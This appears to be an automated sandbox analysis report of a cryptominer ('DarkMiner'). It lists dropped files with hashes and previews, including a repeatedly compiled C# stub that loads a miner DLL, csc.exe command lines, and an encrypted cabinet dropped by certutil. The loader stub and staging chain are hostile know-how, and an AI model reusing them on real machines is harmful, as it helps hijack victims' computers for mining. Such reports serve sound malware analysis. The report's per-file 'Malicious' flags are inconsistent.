Entropy (8bit):	5.018200157857622
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zujHlk8H9MExXpLGL9MIo8SRTQy:V/DTLDfujr7Np6hMImsy
MD5:	CB62C3BB531B87D3C95728F4C607F5F5
SHA1:	9DB8E12AF8C6E406DDE390EC6D1B2527F2994975
SHA-256:	51755F9D2D1EDF6C8AF0DDE4CE3C149C4BDD0FBDA1AB36CD19DE510EFC56C36A
SHA-512:	9E99B36F5631CBB861E82702318C46EC7F4DC4DE2E0D0CF7152E455E4D47E25174E9F695361372784982EBBA2735EA4C39DC954021A843F0C147170EDBAFB042
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace LoadDLL.{. public class LoadDLL. {. [DllImport("C:\\miner\\fetchX64.dll", EntryPoint="RunX")] public static extern int RunX();.. }..}.

C:\Users\user\AppData\Local\Temp\ahbspsjl.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (348), with no line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.218843635804082
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fC+zxs7+AEszIwkn23fI:p37Lvkmb6KRf1WZEifw
MD5:	E2075A6E7DDA5B2357DCD198B2F26477
SHA1:	EC6DC6BC98833F33B8CCDA12DE47A17641B7A730
SHA-256:	30E7EEDE19C37646A3CB6D0C7440DA8CB1F3F4EF2349C746389A3EF7AE965C53
SHA-512:	D7B665E2483F25FA6E52D714D9B5B03890DDA07FE739FBA52F98609EEC75161235C12D7FDF88F65D7989BE5845C956BB1BF1D5330860B2BACB0DD5A49EF3C67E
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ahbspsjl.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ahbspsjl.0.cs"

C:\Users\user\AppData\Local\Temp\ahbspsjl.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.6735104478058895
Encrypted:	false
SSDEEP:	24:etGSDJ+4Y+TFJCDRDoA5tkZfOHm3tvUlWI+ycuZhNfakSxPNnq:6U4ZTFJGDF0Jz3tZ1ulfa3Dq
MD5:	FEE79818FBFA30FE712B396038827995
SHA1:	DB9CACC3AF38D74D10F3A665940E2DDE7B67422F
SHA-256:	06F479EDC161774C87CF976BAF35156722E132589B489D301DBC416592885069
SHA-512:	0F90B0BDBD60765C5058EBB69DF67C57E43C17A687A87950136CAE85A803024F9C5D027D15A40E0AC27C252C799E3FA12CBAD903ABE008AAAAD11355A0AF25D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...........!................^#... ...@....... ....................................@..................................#..W....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..`.......#Strings....P.......#US.X.......#GUID...h...D...#Blob...........G.........%3......................................................../.(...a.A.....A.......................................... 6.....P ......;.......;.....;...!.;.....;.............%.......6................................................<Module>.ahbspsjl.dll.LoadDLL.mscorlib.System.O

C:\Users\user\AppData\Local\Temp\ahbspsjl.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (416), with CRLF, CR line terminators
Category:	modified
Size (bytes):	837
Entropy (8bit):	5.302158904503597
Encrypted:	false
SSDEEP:	24:yvId3ka6KRfaEiflKax5DqBVKVrdFAMBJTH:yvkka6CaEulK2DcVKdBJj
MD5:	3A3B3C231BB26C180F45C5E2E86C0A8D
SHA1:	49F27D964E3F5A3510DD65A38D31021C7D833EB2
SHA-256:	7CCDB52A3691EDFE82D5317BBF3CBA6D41DCA27E7FADC5654F8F49B6AFFC9AEE
SHA-512:	02F51C713D8CE0482B6B5D36CC012FEACD4AE6FDE7E68ED3E50FD57BDFE6951BBFA24C4E5B6777165FFCACC1B66C1A38E7B8EEE4889D90CFDF453F5F35F952BF
Malicious:	false
Preview:	.C:\miner> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ahbspsjl.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ahbspsjl.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\ck4l4tfe.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.018200157857622
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zujHlk8H9MExXpLGL9MIo8SRTQy:V/DTLDfujr7Np6hMImsy
MD5:	CB62C3BB531B87D3C95728F4C607F5F5
SHA1:	9DB8E12AF8C6E406DDE390EC6D1B2527F2994975
SHA-256:	51755F9D2D1EDF6C8AF0DDE4CE3C149C4BDD0FBDA1AB36CD19DE510EFC56C36A
SHA-512:	9E99B36F5631CBB861E82702318C46EC7F4DC4DE2E0D0CF7152E455E4D47E25174E9F695361372784982EBBA2735EA4C39DC954021A843F0C147170EDBAFB042
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace LoadDLL.{. public class LoadDLL. {. [DllImport("C:\\miner\\fetchX64.dll", EntryPoint="RunX")] public static extern int RunX();.. }..}.

C:\Users\user\AppData\Local\Temp\ck4l4tfe.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (348), with no line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.233337503750247
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fDaqzxs7+AEszIwkn23fDaP:p37Lvkmb6KRfL/WZEifL6
MD5:	EABFF4AEFAB883B9AE6689B75E27C359
SHA1:	2E1C167B5A55112F9CFC7A940E0DD6553F5C1EC2
SHA-256:	FCA08511E20C390C6C7E15D32991DBC5A799DA607452497BCD181C0BB66C572D
SHA-512:	F571B20E9C50E98D9C3B3D2C3047E6ED38B5FFF215147001DAD2EBFF6DD8827602DD384B922352C3EDED59BEA40F567860A2234761EC2EE0C0FBE8E893E6B1A1
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ck4l4tfe.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ck4l4tfe.0.cs"

C:\Users\user\AppData\Local\Temp\ck4l4tfe.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.675292994552911
Encrypted:	false
SSDEEP:	24:etGSUJ+4Y+TFJCDRD7v5tkZf3h35Xe7lWI+ycuZhNFbakSkUPNnq:6L4ZTFJGD7v0Jx3deU1ulFba3k0q
MD5:	79D7B39639D5A96B6D6D04B888F792CB
SHA1:	0CC7CABE39043E8ADEBD4899DF175F95B333C9EC
SHA-256:	C73940B83263733276C0A5B7166781ECAC66AAF94D311B8CD717138457E6421D
SHA-512:	A6084CA90AD304F786CCD94BD12D7922800DBC7415AED2084A150F42A72F9EB0F37D949D699C64388D24D102F3E6E1078B8E5815FC66CC386294BC3A4F9D101E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f...........!................^#... ...@....... ....................................@..................................#..W....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..`.......#Strings....P.......#US.X.......#GUID...h...D...#Blob...........G.........%3......................................................../.(...a.A.....A.......................................... 6.....P ......;.......;.....;...!.;.....;.............%.......6................................................<Module>.ck4l4tfe.dll.LoadDLL.mscorlib.System.O

C:\Users\user\AppData\Local\Temp\ck4l4tfe.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (416), with CRLF, CR line terminators
Category:	modified
Size (bytes):	837
Entropy (8bit):	5.302903498179409
Encrypted:	false
SSDEEP:	24:yvId3ka6KRfL8EifLzKax5DqBVKVrdFAMBJTH:yvkka6CQEufK2DcVKdBJj
MD5:	4FE9896FBAB3AECB013395C0A884F48F
SHA1:	5893652B50B6DA9B6DBF03D808537AC5463E7DC5
SHA-256:	6F9B3C640F4F18BCD925C91590B80E4113BD9CDEC6E766FC943E254E7215F04A
SHA-512:	BDA54F7B1DFAF1364ADD889A55583C49EF354A9D35E431A1ACE81928B367C48744E0219094EEF8D25980CD50C83F6B413398D6F54CE5E5A6E908F4DCE7D294CC
Malicious:	false
Preview:	.C:\miner> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ck4l4tfe.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ck4l4tfe.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\ee3yyyau.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.018200157857622
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zujHlk8H9MExXpLGL9MIo8SRTQy:V/DTLDfujr7Np6hMImsy
MD5:	CB62C3BB531B87D3C95728F4C607F5F5
SHA1:	9DB8E12AF8C6E406DDE390EC6D1B2527F2994975
SHA-256:	51755F9D2D1EDF6C8AF0DDE4CE3C149C4BDD0FBDA1AB36CD19DE510EFC56C36A
SHA-512:	9E99B36F5631CBB861E82702318C46EC7F4DC4DE2E0D0CF7152E455E4D47E25174E9F695361372784982EBBA2735EA4C39DC954021A843F0C147170EDBAFB042
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace LoadDLL.{. public class LoadDLL. {. [DllImport("C:\\miner\\fetchX64.dll", EntryPoint="RunX")] public static extern int RunX();.. }..}.

C:\Users\user\AppData\Local\Temp\ee3yyyau.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (348), with no line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.188139310988519
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fBbcAx0zxs7+AEszIwkn23fBbcADHn:p37Lvkmb6KRfZbcm0WZEifZbc6n
MD5:	49D9E9DBD7F2B84DB3A4BFA87CC27183
SHA1:	A8E6C5F48B0FFAA49A25032B383F5FD55836E141
SHA-256:	DD398BD9A92D9762BC0C5614B434E3EC1A089EEF86F5150088B107594CD2181B
SHA-512:	00F95E47198D3F3DB4D1D525B979BE3CBC2A29973B9781A4C6B84534CCD87B904EAF20DEEE6B4C6D7F842062D2AA533E6E1C73AC38FCD2AFD48B93D3AA226E54
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ee3yyyau.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ee3yyyau.0.cs"

C:\Users\user\AppData\Local\Temp\ee3yyyau.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.663838459464921
Encrypted:	false
SSDEEP:	24:etGSdJ+4Y+TFJCDRDC5tkZfFRA3KlWI+ycuZhNqakSyPNnq:6m4ZTFJGDC0JFRA3P1ulqa3eq
MD5:	ABFAD352B7EECF4A643E28DEE1A5DDAA
SHA1:	07832017438535ABDDF1E04D74B54716124D954C
SHA-256:	EECC0444CC315799090BB80562CA630932A6C9E4CA7CFDD423EC130355E2A012
SHA-512:	EC9CC4B328E06D04A529EB7EC683CC4BFDDAAB8963B7DDDF5C7E3E6E40189A9EAC791B3E42E85730F0FB8631176056A2622DC7F59C9F39270F98B0076D6EFB8F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..f...........!................^#... ...@....... ....................................@..................................#..W....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..`.......#Strings....P.......#US.X.......#GUID...h...D...#Blob...........G.........%3......................................................../.(...a.A.....A.......................................... 6.....P ......;.......;.....;...!.;.....;.............%.......6................................................<Module>.ee3yyyau.dll.LoadDLL.mscorlib.System.O

C:\Users\user\AppData\Local\Temp\ee3yyyau.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (416), with CRLF, CR line terminators
Category:	modified
Size (bytes):	837
Entropy (8bit):	5.299401460236984
Encrypted:	false
SSDEEP:	24:yvId3ka6KRfBbEifBGKax5DqBVKVrdFAMBJTH:yvkka6CZEugK2DcVKdBJj
MD5:	CB46DECAF76991AE02716DC32957BDCB
SHA1:	95E18FDEBFA673E11D4A7BB88D27C4868780AB06
SHA-256:	863F1A8B6DADE06AED06F7D0C58FE306E781A47866F686027EDB18E6A2A8847B
SHA-512:	DECD8DD52CDFDD1CC4BB2E338A8DF90BC6CC1443E94ABDA0DB6FE4B45A52927460F869E654A4453FB620E2E679429A274FA6F59A88AC7D0AAE6A564FDFA64CDB
Malicious:	false
Preview:	.C:\miner> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ee3yyyau.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\ee3yyyau.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\weizmren.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.018200157857622
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zujHlk8H9MExXpLGL9MIo8SRTQy:V/DTLDfujr7Np6hMImsy
MD5:	CB62C3BB531B87D3C95728F4C607F5F5
SHA1:	9DB8E12AF8C6E406DDE390EC6D1B2527F2994975
SHA-256:	51755F9D2D1EDF6C8AF0DDE4CE3C149C4BDD0FBDA1AB36CD19DE510EFC56C36A
SHA-512:	9E99B36F5631CBB861E82702318C46EC7F4DC4DE2E0D0CF7152E455E4D47E25174E9F695361372784982EBBA2735EA4C39DC954021A843F0C147170EDBAFB042
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace LoadDLL.{. public class LoadDLL. {. [DllImport("C:\\miner\\fetchX64.dll", EntryPoint="RunX")] public static extern int RunX();.. }..}.

C:\Users\user\AppData\Local\Temp\weizmren.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (348), with no line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.199622531749659
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23f4Uzxs7+AEszIwkn23fG:p37Lvkmb6KRfDWZEif+
MD5:	3A17C3EEA4807BF2B57922E72E7A2691
SHA1:	1AC1F0F5DB0BFCE7C459A377634C089CBBE2C069
SHA-256:	88B5BC7B166628B507F1E84A5F69151DE2EAEB597E3CF641D8D818D61522E243
SHA-512:	2A6C21210A5ADC223C703CFC7D5123DF1A68ABDC9E313CE5F1E97447DD03C92108EA7AFA8A18C5F7C457B121566C5D8B78352D2C267A83E4B4D3A2FFE0D07F55
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\weizmren.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\weizmren.0.cs"

C:\Users\user\AppData\Local\Temp\weizmren.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.666402115941041
Encrypted:	false
SSDEEP:	24:etGSnJ+4Y+TFJCDRDn75tkZfIY3olWI+ycuZhN/akSRPNnq:6g4ZTFJGDn70JIY3l1ul/a3jq
MD5:	091588E9A69B3DDF6B0777351946B8EB
SHA1:	A0B1622951C3798CFAE64ADAB626DF7267991642
SHA-256:	DC93D88B35CFB57A2B79AEB99451DED83603E3FF1412F77874CD033E92603790
SHA-512:	1D20848115F4912F957353408894AEC98365131F657049B4A6A8247F653562AA5B13399903D872E723C7CC4CC5A6725F99CE08AEF91CAFC92F89E2890D481045
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M..f...........!................^#... ...@....... ....................................@..................................#..W....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..`.......#Strings....P.......#US.X.......#GUID...h...D...#Blob...........G.........%3......................................................../.(...a.A.....A.......................................... 6.....P ......;.......;.....;...!.;.....;.............%.......6................................................<Module>.weizmren.dll.LoadDLL.mscorlib.System.O

C:\Users\user\AppData\Local\Temp\weizmren.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (416), with CRLF, CR line terminators
Category:	modified
Size (bytes):	837
Entropy (8bit):	5.294169160662381
Encrypted:	false
SSDEEP:	24:yvId3ka6KRfQEiffKax5DqBVKVrdFAMBJTH:yvkka6CQEufK2DcVKdBJj
MD5:	929EE91D9190001C627F951A80BB873D
SHA1:	0FB27074BDB28F5431E18A79BD80BBD5A8F44686
SHA-256:	D4F34DA53A9FB0FBF01E850FC0BB668035707A5F3E6849CF3111230511698937
SHA-512:	58C60653CE88417DC7B9B226ED1F35A65210FFCBCDF9CA8F8AC6FE727EE9037CF5773E52C20079464A7D67AAF5BCF3FEB0F1D30B56418E28EA2550ECD61B778E
Malicious:	false
Preview:	.C:\miner> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\weizmren.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\weizmren.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\zmhmaghu.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	212
Entropy (8bit):	5.018200157857622
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zujHlk8H9MExXpLGL9MIo8SRTQy:V/DTLDfujr7Np6hMImsy
MD5:	CB62C3BB531B87D3C95728F4C607F5F5
SHA1:	9DB8E12AF8C6E406DDE390EC6D1B2527F2994975
SHA-256:	51755F9D2D1EDF6C8AF0DDE4CE3C149C4BDD0FBDA1AB36CD19DE510EFC56C36A
SHA-512:	9E99B36F5631CBB861E82702318C46EC7F4DC4DE2E0D0CF7152E455E4D47E25174E9F695361372784982EBBA2735EA4C39DC954021A843F0C147170EDBAFB042
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace LoadDLL.{. public class LoadDLL. {. [DllImport("C:\\miner\\fetchX64.dll", EntryPoint="RunX")] public static extern int RunX();.. }..}.

C:\Users\user\AppData\Local\Temp\zmhmaghu.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (348), with no line terminators
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.237767946624548
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2wkn23fin0zxs7+AEszIwkn23fWHn:p37Lvkmb6KRftWZEifuHn
MD5:	D06D3C75D5D68EAB435A54A41B40A962
SHA1:	D29FB47E96A034C0E5BF36A155EDA46071CF039A
SHA-256:	6F702F7FA3CB3B4E5B67D74A7CD9F46BA41A91E61E61C49265C061E03F9718D3
SHA-512:	33CE3DB2E497A48664A8D0D9EF8297479A26BF3470EF3B58AC3C509D03C94457E0B0B9B529AB43E1F7B3A8045109E24C7D1D8E287BC050B3274F197543FB022B
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\zmhmaghu.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\zmhmaghu.0.cs"

C:\Users\user\AppData\Local\Temp\zmhmaghu.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.676750224280635
Encrypted:	false
SSDEEP:	24:etGSlcJ+4Y+TFJCDRDuk5tkZfD73qlWI+ycuZhN+aakS5rPNnq:6lT4ZTFJGD90J/3v1ulja3/q
MD5:	3155D4BA1EA3C7027F55B4969A96D2F0
SHA1:	6597318C1EA2C665C25524C37ADC2BAC5E03D1D1
SHA-256:	63F104901E958A6029B1DC28CF43AB69BE320850A3633C889DAD6A90762FD149
SHA-512:	9D2D88C2C3C1C1CC08A80D0C957F23AA66D1A87038E4E5056418D62464D21EFB44DF63FB7D3CE0DD08C2A86379609675F726BBDC593B0B4928B19A39120BC72B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...V..f...........!................^#... ...@....... ....................................@..................................#..W....@.......................`....................................................... ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@#......H.......X ................................................................(....*BSJB............v4.0.30319......l.......#~..`.......#Strings....P.......#US.X.......#GUID...h...D...#Blob...........G.........%3......................................................../.(...a.A.....A.......................................... 6.....P ......;.......;.....;...!.;.....;.............%.......6................................................<Module>.zmhmaghu.dll.LoadDLL.mscorlib.System.O

C:\Users\user\AppData\Local\Temp\zmhmaghu.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (416), with CRLF, CR line terminators
Category:	modified
Size (bytes):	837
Entropy (8bit):	5.307006030492315
Encrypted:	false
SSDEEP:	24:yvId3ka6KRfCEif9Kax5DqBVKVrdFAMBJTH:yvkka6CCEu9K2DcVKdBJj
MD5:	083CCF2086AD1C714158898AEB9C3F0C
SHA1:	E90560A537DB625DBD22EE1942357EC7A99D0E9E
SHA-256:	7A2E2A1E94131A12DC480732E7D721820097DA6A10F8A66712AA7260340808DE
SHA-512:	BEB3C9DA62E97DC36CD48E309C832130A07EEC0D15C704896E7B6F9301F23FF9AFD0816D2176AA31773B27C74EA1BB6799DBDD4208270E57994C2DBB9AB9DAF7
Malicious:	false
Preview:	.C:\miner> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\zmhmaghu.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\zmhmaghu.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\miner\DarkMiner.cab

Download File

Process:	C:\Windows\System32\certutil.exe
File Type:	Microsoft Cabinet archive data, many, 148987 bytes, 4 files, at 0x2c +A "XClient.bat" +A "mine_start.vbs", ID 4658, number 1, 9 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	148987
Entropy (8bit):	7.996621162212626
Encrypted:	true
SSDEEP:	3072:KDLD3HwEGgsam1nGiREshhrh9P/9JBGEcFkLXv/P:o3HJ3zmhZEatX9XvX
MD5:	055B74449746D7227D6D39D8C492CDEA
SHA1:	76A6958C4F07C594B58CDA2874C8FD8C6A608220
SHA-256:	10E682FA3A4DC8ED4CCE1106558A391FA9E87B6D276819BED0C7313BFF8EF683
SHA-512:	BF43E8586C0EE026AF49F1EA322046A7CE389CCB8C96F47CAE08364523349A9D3309BB598FC4F0CB2FB952CAE242ACC93336DAAF1302D8FD7E580339F1DD9A67
Malicious:	true
Preview:	MSCF.....E......,...............2...........+..........XP. .XClient.bat.d...+......Xa. .mine_start.vbs............X.. .fetchX32.dll..d.........X.. .fetchX64.dll.T.hA~L..CK.}\|T.0\|..I2..3....2B.0..D%L.$0I..g...b..I..!.s.XC.OFs.=..S....}.Wm......V.$.IP.......F..u.4.4r..9.....}......9..c..Z{..^..W.=.....%y..........v...X....v..;?%yo..<.v.........N.mo-.n...n.s..=..n....[.[l...s....J.=.7z6.w..J...z....4.....c.-...u.w4..\_.e.....knHI..+w..S...P+z.....r..;...g......W.1.k...v.7}.....b.vQ.[.EYA..m.}ee..n./]].v.o...R.wg.g.....Y._...EK<.........7.}.].n.....P.......`...`...j...u&._WZ[.k....n_......-.7....mf..m^.k........?..'.3.'....z\|....{v..W.>.T....K.=....vn...D....k...@...X....~..k..f.w.X..@=.....;j.....{.........,2.-2........m....{...+W.M.....e.....{....}.5{k.j.5.5.jvy..l.,DqY...pJYx...{.]{.o.... z....9U.G..A.+.f...*.......,.wg.x.........G....R...x...[.......~.g.J...V...C.;...,.,..C...8.~..qG9./..;.x..1....s.^..(....7.w6x......mwy

C:\miner\XClient.bat (copy)

Download File

Process:	C:\Windows\System32\expand.exe
File Type:	DOS batch file, ASCII text, with very long lines (521), with CRLF line terminators
Category:	dropped
Size (bytes):	811
Entropy (8bit):	5.498605131509978
Encrypted:	false
